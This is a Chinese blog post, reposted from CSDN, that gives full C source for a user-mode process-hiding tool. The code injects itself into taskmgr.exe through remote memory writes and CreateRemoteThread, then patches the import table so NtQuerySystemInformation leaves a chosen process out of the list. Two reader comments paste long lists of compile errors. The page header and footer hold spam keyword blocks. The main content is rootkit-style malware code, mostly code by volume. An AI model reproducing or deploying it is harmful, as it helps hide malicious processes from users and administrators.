青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

隨筆-16  評(píng)論-116  文章-0  trackbacks-0
原文:http://blog.csdn.net/dalixux/archive/2008/10/14/3072436.aspx

使用代碼注入來(lái)實(shí)現(xiàn)進(jìn)程隱藏  而不是使用DLL注入來(lái)實(shí)現(xiàn)進(jìn)程隱藏 
沒(méi)有什么高級(jí)技術(shù)  純體力活  原理就不說(shuō)了  只是沒(méi)有通過(guò)DLL注入  來(lái)實(shí)現(xiàn)HOOK API
從核心編程 以來(lái)  似乎 一提到C注入 就是DLL注入 很奇怪 為什么沒(méi)人寫個(gè)完整的代碼注入
所以 自己動(dòng)手寫了下
純粹注入代碼   邪惡二進(jìn)制上 也有個(gè)代碼注入的 只是用了一個(gè)未公開(kāi)的函數(shù),我還看不懂
= =本來(lái)想用匯編寫的  發(fā)現(xiàn)匯編注入代碼遠(yuǎn)比C注入代碼來(lái)的繁  所以用C實(shí)現(xiàn)了
主要功能就是 隱藏進(jìn)程   不過(guò)RING3的似乎沒(méi)多大用  練習(xí)而已
代碼如下:

//需要編譯成release版本  DEBUG版本 對(duì)函數(shù)生成的跳轉(zhuǎn)地址表
//jmp xxxxx  寫入遠(yuǎn)程進(jìn)程的時(shí)候xxxxx等于寫入了一個(gè)全局變量
// 程序必然崩潰
#include "Iat_Hook.h"


char cPath[] = "taskmgr.exe";

void main(void)
{
  
//定義變量
  DWORD dwPid;
  HANDLE hProcess;
  DWORD dwSize 
= 2048;
  PVOID pRemoteAddress, pRemoteStructAddress,MyAddress;
  REMOTESTRUCT stRemoteStruct;

  
//遍歷進(jìn)程 尋找taskmgr.exe進(jìn)程ID
    dwPid = GetProcessPid(cPath);

  
// open process 得到進(jìn)程句柄
  hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
  
if(hProcess == NULL)
  
{
    printf(
"open error code %d\n",GetLastError());
    
return;
  }

  
  
//寫入 替代函數(shù)
  MyAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  WriteProcessMemory(hProcess, MyAddress, myNtQuerySystemInformation, dwSize, NULL);

  
//初始化結(jié)構(gòu)
  InitializeStruct(&stRemoteStruct, (DWORD)MyAddress, dwPid);

  
//寫入結(jié)構(gòu)
  pRemoteStructAddress = VirtualAllocEx(hProcess, NULL, sizeof(REMOTESTRUCT), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  WriteProcessMemory(hProcess, pRemoteStructAddress, 
&stRemoteStruct, sizeof(REMOTESTRUCT), NULL);

  
//寫入遠(yuǎn)程線程函數(shù)
  pRemoteAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  WriteProcessMemory(hProcess, pRemoteAddress, RemoteThread, dwSize, NULL);

  
//創(chuàng)建遠(yuǎn)程線程
  CreateRemoteThread(hProcess, NULL, 0, pRemoteAddress,pRemoteStructAddress, 00);
  CloseHandle(hProcess);
}


DWORD __stdcall RemoteThread(PREMOTESTRUCT pRemoteStruct)
{
  FARPROC fpVirtualQuery;
  FARPROC fpVirtualProtect;
  FARPROC fpOpenProcess;
  FARPROC fpEnum;
  FARPROC fpGetProcAddress;
  FARPROC fpLoadLibrary;
  FARPROC fpFreeLibrary;
  FARPROC fpWriteMemory;
  FARPROC fplstrcmp;

  HANDLE hProcess 
= NULL;
  HMODULE hMods[
256];
  DWORD dwNeed;
  HANDLE hPsapi;
  MEMORY_BASIC_INFORMATION stMem;
  HMODULE hKernel, hModule;
  PIMAGE_NT_HEADERS pImageNtHeaders;
  PIMAGE_OPTIONAL_HEADER pImageOptionalHeader;
  IMAGE_DATA_DIRECTORY ImageImport;
  PIMAGE_IMPORT_DESCRIPTOR pImageImportDescriptor;
  PIMAGE_THUNK_DATA pImageThunkData;
  DWORD oldProtect;
  wchar_t 
*= pRemoteStruct->cProcessName;

  
//初始化函數(shù)指針
  fpVirtualQuery = (FARPROC)pRemoteStruct->dwVirtualQuery;
  fpVirtualProtect 
= (FARPROC)pRemoteStruct->dwVirtualProtect;
  fpOpenProcess 
= (FARPROC)pRemoteStruct->dwOpenProcess;
  fpLoadLibrary 
= (FARPROC)pRemoteStruct->dwLoadLibrary;
  fpFreeLibrary 
= (FARPROC)pRemoteStruct->dwFreeLibrary;
  fpGetProcAddress 
= (FARPROC)pRemoteStruct->dwGetProcAddress;
  fpWriteMemory 
= (FARPROC)pRemoteStruct->dwWriteProcessMemory;
  fplstrcmp 
= (FARPROC)pRemoteStruct->dwlstrcmp;

  
//得到進(jìn)程句柄
  hProcess =(HANDLE)fpOpenProcess(PROCESS_ALL_ACCESS, FALSE, pRemoteStruct->dwPid);
  
if(!hProcess)
    
return 0;

  
//得到模塊基址 模塊基址存放于hMods[0]
  hPsapi = (HANDLE)fpLoadLibrary(pRemoteStruct->cDllName);
  fpEnum 
= (FARPROC)fpGetProcAddress(hPsapi, pRemoteStruct->cFunName);
  fpEnum(hProcess, hMods, 
sizeof(hMods), &dwNeed);
  fpFreeLibrary(hPsapi);
  hModule 
= hMods[0];

  
//改變內(nèi)存屬性  因?yàn)椴捎玫牟皇荄LL插入 NtQuerySystemInformation的原始地址無(wú)法通過(guò)
  
//全局變量傳遞給 替代函數(shù) 這里通過(guò)把函數(shù)地址寫入kernel的PE頭 來(lái)實(shí)現(xiàn) 這樣只需要在替代函數(shù)中讀出地址就可以了
  hKernel = (HANDLE)fpLoadLibrary(pRemoteStruct->cKernel);
  fpVirtualQuery(hKernel,
&stMem, sizeof (MEMORY_BASIC_INFORMATION));
  fpVirtualProtect(stMem.BaseAddress, stMem.RegionSize, PAGE_READWRITE, 
&stMem.Protect);
  fpWriteMemory(hProcess, (PBYTE)(hKernel)
+4&pRemoteStruct->dwNtQuerySystem, sizeof(DWORD), NULL);
  fpWriteMemory(hProcess, (PBYTE)(hKernel)
+8&pRemoteStruct->dwlstrcmpW, sizeof(DWORD), NULL);
  fpWriteMemory(hProcess, (PBYTE)(hKernel)
+0x14&p, sizeof(DWORD), NULL);
  fpVirtualProtect(stMem.BaseAddress, stMem.RegionSize, stMem.Protect, 
&oldProtect);

  
//查找導(dǎo)入表 找到存放NtQuerySystemInformation
  pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)*((PBYTE)hModule+0x3c+ (DWORD)hModule);
  pImageOptionalHeader 
= &pImageNtHeaders->OptionalHeader;
    ImageImport 
= pImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
  pImageImportDescriptor 
= (PIMAGE_IMPORT_DESCRIPTOR)(ImageImport.VirtualAddress + (DWORD)hModule);

  
while(pImageImportDescriptor->Name)
  
{
    
if(0 == fplstrcmp(pRemoteStruct->cNtdll, (PSTR)(pImageImportDescriptor->Name + (DWORD)hModule)))
    
{      
      
break;
    }

    pImageImportDescriptor
++;
  }

  
//替換 NtQuerySystemInformation的地址
  pImageThunkData = (PIMAGE_THUNK_DATA)(pImageImportDescriptor->FirstThunk + (DWORD)hModule);
  
while(pImageThunkData->u1.Function)
  
{
    
if(pImageThunkData->u1.Function == pRemoteStruct->dwNtQuerySystem)
    
{
      fpVirtualQuery(
&pImageThunkData->u1.Function, &stMem, sizeof (MEMORY_BASIC_INFORMATION));
      fpVirtualProtect(stMem.BaseAddress, stMem.RegionSize, PAGE_READWRITE, 
&stMem.Protect);
      pImageThunkData
->u1.Function =  pRemoteStruct->dwMyAddress;
      
break;
    }

    pImageThunkData
++;
  }

  fpVirtualProtect(stMem.BaseAddress, stMem.RegionSize, stMem.Protect, 
&oldProtect);
  
return 0;
}


NTSTATUS WINAPI myNtQuerySystemInformation  (
              SYSTEM_INFORMATION_CLASS SystemInformationClass,
        PVOID SystemInformation,
          ULONG SystemInformationLength,
                PULONG ReturnLength)
{
  HANDLE hKernel;
  NTSTATUS ntStatus;
  wchar_t 
*pName;
  PSYSTEM_PROCESS_INFORMATION pCurrent, pForward;

  FARPROC fpNtQuerySystem;
  FARPROC fplstrcmpW;

  
//尋找kernel32的基址  準(zhǔn)備讀取需要用到的函數(shù)地址
  _asm 
  
{
    mov eax,fs:[
0x30]
    mov eax,[eax
+0xc]
    mov ecx,[eax
+0x1c]
    mov ecx, [ecx]
    mov eax, [ecx
+8]
    mov hKernel,eax
  }

  
//取得函數(shù)地址
  fpNtQuerySystem = *(FARPROC *)((DWORD)hKernel + 4);
  fplstrcmpW 
= *(FARPROC *)((DWORD)hKernel + 8);
  
//取得 需隱藏的進(jìn)程名
  pName = *(wchar_t **)((DWORD)hKernel + 0x14);

  ntStatus 
= (NTQUERYSYSTEMINFORMATION)fpNtQuerySystem(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
  
if (SystemProcessesAndThreadsInformation == SystemInformationClass)
  
{
    pForward 
= NULL;
    pCurrent 
= (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
    
while(pCurrent->NextEntryDelta)//檢驗(yàn)是否到 最后一個(gè)進(jìn)程結(jié)構(gòu)
    {
      
if(pCurrent->ProcessName.Buffer)
      
{
        
//_asm int 3
        if(0 == fplstrcmpW(pCurrent->ProcessName.Buffer, pName))
        
{
          
if(pForward)
          
{
            
if(pCurrent->NextEntryDelta)//隱藏的進(jìn)程在鏈表中間              
            {
              pForward
->NextEntryDelta += pCurrent->NextEntryDelta;
            }

            
else//隱藏的進(jìn)程在鏈表末端
              pForward->NextEntryDelta = 0;
          }

          
else //要隱藏的進(jìn)程在鏈表頭時(shí)
          {
            
if(pCurrent->NextEntryDelta)
            
{
              SystemInformation 
= (PBYTE)pCurrent + pCurrent->NextEntryDelta;
            }

            
else
              SystemInformation 
= NULL;
          }

        }

      }

        pForward 
= pCurrent;
        pCurrent 
= (PSYSTEM_PROCESS_INFORMATION)(pCurrent->NextEntryDelta + (PBYTE)pForward);
    }

    
//_asm int 3
  }

  
return ntStatus;
}



//得到進(jìn)程PID
DWORD GetProcessPid(char *cPath)
{
  PROCESSENTRY32 stProcess;
  HANDLE hSnap;
  BOOL bRet;
  hSnap 
= CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  
if(hSnap == INVALID_HANDLE_VALUE)
  
{
    printf(
"error\n");
    
return 0;
  }

  stProcess.dwSize 
= sizeof (PROCESSENTRY32);
  bRet 
= Process32First(hSnap, &stProcess);
  
if(!bRet)
  
{
    printf(
"first error\n");
    
return 0;
  }

  
do
  
{
    
if(0 == strcmp(stProcess.szExeFile, cPath)) //find  process of target
    {
      
break;
    }

  }
while(Process32Next(hSnap, &stProcess));

  
//確認(rèn) 是否找到 目標(biāo)進(jìn)程
  if(0 != strcmp(stProcess.szExeFile, "taskmgr.exe"))
  
{
    printf(
"can not find process\n");
    
return 0;
  }

  CloseHandle(hSnap);
  
return stProcess.th32ProcessID;
}


VOID InitializeStruct(PREMOTESTRUCT pRemoteStruct, DWORD MyAddress, DWORD dwPid)
{
  HANDLE hNtdll;
  HANDLE hKernel;

  hNtdll 
= LoadLibrary("ntdll.dll");
  pRemoteStruct
->dwNtQuerySystem = (DWORD)GetProcAddress(hNtdll, "NtQuerySystemInformation");
  FreeLibrary(hNtdll);

  hKernel 
= LoadLibrary("kernel32.dll");
  pRemoteStruct
->dwVirtualProtect = (DWORD)GetProcAddress(hKernel, "VirtualProtect");
  pRemoteStruct
->dwVirtualQuery = (DWORD)GetProcAddress(hKernel, "VirtualQuery");
  pRemoteStruct
->dwOpenProcess = (DWORD)GetProcAddress(hKernel, "OpenProcess");
  pRemoteStruct
->dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress");
  pRemoteStruct
->dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary");
  pRemoteStruct
->dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA");
  pRemoteStruct
->dwWriteProcessMemory = (DWORD)GetProcAddress(hKernel, "WriteProcessMemory");
  pRemoteStruct
->dwlstrcmp = (DWORD)GetProcAddress(hKernel, "lstrcmpA");
  pRemoteStruct
->dwlstrcmpW = (DWORD)GetProcAddress(hKernel, "lstrcmpW");
  FreeLibrary(hKernel);
  
  pRemoteStruct
->dwMyAddress = MyAddress;
  pRemoteStruct
->dwPid = dwPid;
  strcpy(pRemoteStruct
->cDllName, "Psapi.dll");
  strcpy(pRemoteStruct
->cFunName, "EnumProcessModules");
  strcpy(pRemoteStruct
->cKernel,"Kernel32.dll");
  strcpy(pRemoteStruct
->cNtdll, "ntdll.dll");
        
//要隱藏的進(jìn)程名
  wcscpy(pRemoteStruct->cProcessName, L"explorer.exe");
}


Iat_Hook.h

//頭文件
#include <windows.h>
#include 
<stdio.h>
#include 
<stdlib.h>
#include 
<string.h>
#include 
<tlhelp32.h>
#include 
<imagehlp.h>
#include 
"Winternl.h"

#pragma comment(lib, 
"imagehlp")
//類型聲明

typedef 
int NTSTATUS;
typedef BOOL (__stdcall 
*ENUMPROCESSMODULES)(
            HANDLE hProcess,
            HMODULE
* lphModule,
            DWORD cb,
            LPDWORD lpcbNeeded
);

typedef NTSTATUS (WINAPI 
*NTQUERYSYSTEMINFORMATION)(
            SYSTEM_INFORMATION_CLASS SystemInformationClass,
            PVOID SystemInformation,
            ULONG SystemInformationLength,
            PULONG ReturnLength
);

typedef 
struct _REMOTE_STRUCT
{
  DWORD dwNtQuerySystem;
  DWORD dwVirtualQuery;
  DWORD dwVirtualProtect;
  DWORD dwOpenProcess;
  DWORD dwMessageBox;
  DWORD dwLoadLibrary;
  DWORD dwGetProcAddress;
  DWORD dwFreeLibrary;
  DWORD dwWriteProcessMemory;
  DWORD dwlstrcmp;
  DWORD dwlstrcmpW;
  DWORD dwEnum;
  DWORD dwMyAddress;
  DWORD dwPid;
  
char cDllName[50];
  
char cFunName[50];
  
char cKernel[50];
  
char cNtdll[50];
  wchar_t cProcessName[
50];//要隱藏的進(jìn)程名
}
REMOTESTRUCT, *PREMOTESTRUCT;

//函數(shù)聲明
DWORD GetProcessPid(char *cPath);
DWORD __stdcall RemoteThread(PREMOTESTRUCT pRemoteStruct);
VOID InitializeStruct(PREMOTESTRUCT pRemoteStruct, DWORD MyAddress, DWORD dwPid);
NTSTATUS WINAPI myNtQuerySystemInformation  (
              SYSTEM_INFORMATION_CLASS SystemInformationClass,
        PVOID SystemInformation,
          ULONG SystemInformationLength,
                PULONG ReturnLength);

Winternl.h

typedef 
struct _UNICODE_STRING 
  USHORT Length; 
  USHORT MaximumLength; 
  PWSTR  Buffer;                 
//注意,這里為Unicode類型
}
 UNICODE_STRING, *PUNICODE_STRING;

typedef 
enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
}
 SYSTEM_INFORMATION_CLASS;

typedef 
struct _SYSTEM_PROCESS_INFORMATION  
{  
    DWORD NextEntryDelta;  
    DWORD dThreadCount;  
    DWORD dReserved01;  
    DWORD dReserved02;  
    DWORD dReserved03;  
    DWORD dReserved04;  
    DWORD dReserved05;  
    DWORD dReserved06;  
    FILETIME ftCreateTime; 
/* relative to 01-01-1601 */  
    FILETIME ftUserTime; 
/* 100 nsec units */  
    FILETIME ftKernelTime; 
/* 100 nsec units */  
    UNICODE_STRING ProcessName;      
//這就是進(jìn)程名
    DWORD BasePriority;  
    DWORD dUniqueProcessId;            
//進(jìn)程ID
    DWORD dParentProcessID;  
    DWORD dHandleCount;  
    DWORD dReserved07;  
    DWORD dReserved08;  
    DWORD VmCounters;  
    DWORD dCommitCharge;  
    PVOID ThreadInfos[
1]; 
}
 SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;


后記:第一次沒(méi)有照著書(shū) 打代碼 也找不到C 注入代碼的例子 能找到的都是DLL注入原理早就知道了 真的寫一遍 不容易 整個(gè)編寫的過(guò)程 碰到了很多問(wèn)題 最終都解決了 輕松了


 

posted on 2008-10-14 13:36 greatws 閱讀(3548) 評(píng)論(2)  編輯 收藏 引用

評(píng)論:
# re: 代碼注入 API HOOK(非DLL)[轉(zhuǎn)] 2009-10-31 08:17 | hurong09@163.com
--------------------Configuration: CodeInject - Win32 Debug--------------------
Compiling...
Main.cpp
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(45) : error C2664: 'CreateRemoteThread' : cannot convert parameter 4 from 'void *' to 'unsigned long (__stdcall *)(void *)'
Conversion from 'void*' to pointer to non-'void' requires an explicit cast
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(86) : error C2197: 'int (__stdcall *)(void)' : too many actual parameters
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(91) : error C2197: 'int (__stdcall *)(void)' : too many actual parameters
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(92) : error C2197: 'int (__stdcall *)(void)' : too many actual parameters
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(93) : error C2197: 'int (__stdcall *)(void)' : too many actual parameters
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(94) : error C2197: 'int (__stdcall *)(void)' : too many actual parameters
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(99) : error C2197: 'int (__stdcall *)(void)' : too many actual parameters
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(100) : error C2197: 'int (__stdcall *)(void)' : too many actual parameters
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(101) : error C2197: 'int (__stdcall *)(void)' : too many actual parameters
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(102) : error C2197: 'int (__stdcall *)(void)' : too many actual parameters
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(103) : error C2197: 'int (__stdcall *)(void)' : too many actual parameters
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(104) : error C2197: 'int (__stdcall *)(void)' : too many actual parameters
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(105) : error C2197: 'int (__stdcall *)(void)' : too many actual parameters
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(115) : error C2197: 'int (__stdcall *)(void)' : too many actual parameters
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(125) : error C2446: '==' : no conversion from 'unsigned long' to 'unsigned long *'
Conversion from integral type to pointer type requires reinterpret_cast, C-style cast or function-style cast
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(125) : error C2040: '==' : 'unsigned long *' differs in levels of indirection from 'unsigned long'
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(127) : error C2197: 'int (__stdcall *)(void)' : too many actual parameters
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(128) : error C2197: 'int (__stdcall *)(void)' : too many actual parameters
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(129) : error C2440: '=' : cannot convert from 'unsigned long' to 'unsigned long *'
Conversion from integral type to pointer type requires reinterpret_cast, C-style cast or function-style cast
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp  回復(fù)  更多評(píng)論
  
# re: 代碼注入 API HOOK(非DLL)[轉(zhuǎn)] 2009-10-31 08:18 | hurong09@163.com
(134) : error C2197: 'int (__stdcall *)(void)' : too many actual parameters
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(168) : error C2197: 'int (__stdcall *)(void)' : too many actual parameters
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(178) : error C2197: 'int (__stdcall *)(void)' : too many actual parameters
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(252) : error C2664: 'GetProcAddress' : cannot convert parameter 1 from 'void *' to 'struct HINSTANCE__ *'
Conversion from 'void*' to pointer to non-'void' requires an explicit cast
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(253) : error C2664: 'FreeLibrary' : cannot convert parameter 1 from 'void *' to 'struct HINSTANCE__ *'
Conversion from 'void*' to pointer to non-'void' requires an explicit cast
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(256) : error C2664: 'GetProcAddress' : cannot convert parameter 1 from 'void *' to 'struct HINSTANCE__ *'
Conversion from 'void*' to pointer to non-'void' requires an explicit cast
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(257) : error C2664: 'GetProcAddress' : cannot convert parameter 1 from 'void *' to 'struct HINSTANCE__ *'
Conversion from 'void*' to pointer to non-'void' requires an explicit cast
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(258) : error C2664: 'GetProcAddress' : cannot convert parameter 1 from 'void *' to 'struct HINSTANCE__ *'
Conversion from 'void*' to pointer to non-'void' requires an explicit cast
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(259) : error C2664: 'GetProcAddress' : cannot convert parameter 1 from 'void *' to 'struct HINSTANCE__ *'
Conversion from 'void*' to pointer to non-'void' requires an explicit cast
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(260) : error C2664: 'GetProcAddress' : cannot convert parameter 1 from 'void *' to 'struct HINSTANCE__ *'
Conversion from 'void*' to pointer to non-'void' requires an explicit cast
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(261) : error C2664: 'GetProcAddress' : cannot convert parameter 1 from 'void *' to 'struct HINSTANCE__ *'
Conversion from 'void*' to pointer to non-'void' requires an explicit cast
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(262) : error C2664: 'GetProcAddress' : cannot convert parameter 1 from 'void *' to 'struct HINSTANCE__ *'
Conversion from 'void*' to pointer to non-'void' requires an explicit cast
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(263) : error C2664: 'GetProcAddress' : cannot convert parameter 1 from 'void *' to 'struct HINSTANCE__ *'
Conversion from 'void*' to pointer to non-'void' requires an explicit cast
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(264) : error C2664: 'GetProcAddress' : cannot convert parameter 1 from 'void *' to 'struct HINSTANCE__ *'
Conversion from 'void*' to pointer to non-'void' requires an explicit cast
C:\Documents and Settings\Xie YongQuan\Desktop\Main.cpp(265) : error C2664: 'FreeLibrary' : cannot convert parameter 1 from 'void *' to 'struct HINSTANCE__ *'
Conversion from 'void*' to pointer to non-'void' requires an explicit cast
Ö´ÐÐ cl.exe ʱ³ö´í.

CodeInject.exe - 1 error(s), 0 warning(s)  回復(fù)  更多評(píng)論
  

只有注冊(cè)用戶登錄后才能發(fā)表評(píng)論。
網(wǎng)站導(dǎo)航: 博客園   IT新聞   BlogJava   博問(wèn)   Chat2DB   管理


青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            欧美 日韩 国产在线| 亚洲国产精品999| 久久国产精品电影| 亚洲欧美日韩在线播放| 中文精品一区二区三区 | 国产精品外国| 国产乱码精品一区二区三区忘忧草 | 国产日韩视频| 激情六月婷婷久久| 亚洲国产天堂久久综合网| 91久久国产综合久久91精品网站| 亚洲人www| 亚洲一区在线看| 久久精品国产69国产精品亚洲| 久久免费视频网| 亚洲高清精品中出| 一区二区三区欧美激情| 午夜亚洲一区| 欧美黄色精品| 国产精品一区=区| 欧美激情网友自拍| 欧美三区不卡| 久久精品国产91精品亚洲| 亚洲综合色丁香婷婷六月图片| 小处雏高清一区二区三区| 久久中文字幕一区| 亚洲黄色有码视频| 亚洲欧美成人一区二区在线电影| 久久精品国产久精国产一老狼| 欧美精品一区二区三区高清aⅴ| 国产精品免费电影| 亚洲欧洲日韩女同| 欧美在线视频免费播放| 欧美激情视频给我| 性欧美办公室18xxxxhd| 欧美精品高清视频| 黄色成人小视频| 久久精品视频99| 欧美剧在线观看| 狠狠色丁香久久婷婷综合丁香| 在线中文字幕日韩| 亚洲国产日韩一区| 久久精品五月| 国产欧美亚洲精品| 中国成人黄色视屏| 欧美国产日韩一区二区在线观看| 亚洲综合第一| 欧美日韩综合在线| 99在线精品免费视频九九视| 免费成人黄色av| 欧美一区二区三区四区在线观看| 欧美激情bt| 亚洲黄一区二区三区| 久久久久久亚洲精品不卡4k岛国| 亚洲性xxxx| 欧美日韩亚洲一区二区三区| 在线免费观看日本欧美| 久久久久久久国产| 亚洲欧美综合网| 国产精品久久久久久影院8一贰佰| 日韩视频一区二区在线观看 | 亚洲国产精品视频一区| 久久久视频精品| 久久精品国产96久久久香蕉| 国产亚洲精品v| 国产精品久久久久天堂| 一二美女精品欧洲| 亚洲欧洲美洲综合色网| 欧美激情亚洲一区| 99视频热这里只有精品免费| 欧美韩日一区二区三区| 免费观看日韩av| 亚洲精品一区二区三| 亚洲国产三级网| 欧美日韩精选| 香蕉久久精品日日躁夜夜躁| 亚洲欧美久久久久一区二区三区| 日韩一区二区精品| 亚洲免费av电影| 国产精品剧情在线亚洲| 欧美一激情一区二区三区| 欧美亚洲综合网| 亚洲国产精品久久人人爱蜜臀| 欧美国产欧美亚州国产日韩mv天天看完整 | 国产日韩av在线播放| 久久久久免费视频| 另类av导航| 99在线精品观看| 午夜激情一区| 亚洲欧洲一区二区三区久久| 91久久精品美女| 国产精品视频精品| 免费亚洲电影在线| 欧美三区在线| 玖玖精品视频| 国产精品啊啊啊| 久久亚洲二区| 欧美三区不卡| 欧美α欧美αv大片| 欧美日韩精品一区二区三区| 久久久久久久久一区二区| 欧美国产日韩视频| 久久国内精品自在自线400部| 免费影视亚洲| 亚洲一区二区三区影院| 久久三级福利| 性欧美暴力猛交另类hd| 欧美高清视频一区| 欧美亚洲一级片| 欧美极品aⅴ影院| 久久久免费精品视频| 欧美日韩免费观看一区| 看片网站欧美日韩| 欧美视频精品在线观看| 欧美成人精品一区| 国产欧美三级| 99国产精品久久久久久久成人热| 尤物视频一区二区| 亚洲欧美综合网| 亚洲一区二区三区免费视频| 快播亚洲色图| 久久露脸国产精品| 国产午夜精品久久久久久久| 亚洲第一精品福利| 亚洲一区二区视频| 一区二区三区 在线观看视频| 久久野战av| 久久综合九色九九| 国产一区二区三区电影在线观看| 亚洲视频国产视频| 亚洲一区二区三区在线播放| 欧美激情综合五月色丁香小说| 欧美aa在线视频| 欲色影视综合吧| 久久亚洲精品欧美| 美女91精品| 亚洲高清av| 久久伊人一区二区| 免费日韩一区二区| 免费精品视频| 亚洲夜间福利| 一区二区91| 亚洲在线视频观看| 日韩一级成人av| 亚洲精品乱码久久久久久久久 | 久久超碰97中文字幕| 久久中文字幕导航| 欧美激情91| 亚洲天堂av综合网| 一区二区福利| 亚洲免费影院| 老牛嫩草一区二区三区日本| 久久在线免费视频| 欧美 日韩 国产在线 | 欧美精品v日韩精品v韩国精品v | 亚洲最新视频在线| 国产午夜精品视频免费不卡69堂| 国产精品裸体一区二区三区| 91久久久久久| 亚洲一区二区精品| 午夜精品久久久| 亚洲午夜在线视频| 欧美一区二区在线| 狠狠色狠狠色综合系列| 欧美在线播放| 亚洲国产精品日韩| 亚洲视频中文字幕| 韩日成人av| 欧美激情精品久久久久久免费印度| 亚洲精品乱码久久久久| 夜夜嗨av一区二区三区中文字幕| 亚洲高清资源| 久久精品视频99| 国产精品毛片大码女人| 亚洲第一级黄色片| 欧美在线一区二区| 久久综合亚州| 国产日韩一区在线| 亚洲激情成人| 久久噜噜噜精品国产亚洲综合| 亚洲国产高清aⅴ视频| 欧美中文在线观看| 国产精品毛片高清在线完整版 | 99精品99| 久久婷婷久久一区二区三区| 一区二区三区|亚洲午夜| 欧美另类变人与禽xxxxx| 亚洲成色777777女色窝| 久久久久青草大香线综合精品| 夜夜嗨av一区二区三区四区| 欧美日本在线观看| 亚洲手机成人高清视频| 亚洲一区二区三区乱码aⅴ蜜桃女| 欧美国产日韩二区| 亚洲国产欧美一区二区三区久久 | 欧美一二区视频| 久久国产黑丝| 欧美片在线播放| 久久一区二区三区国产精品 | 亚洲精品免费看|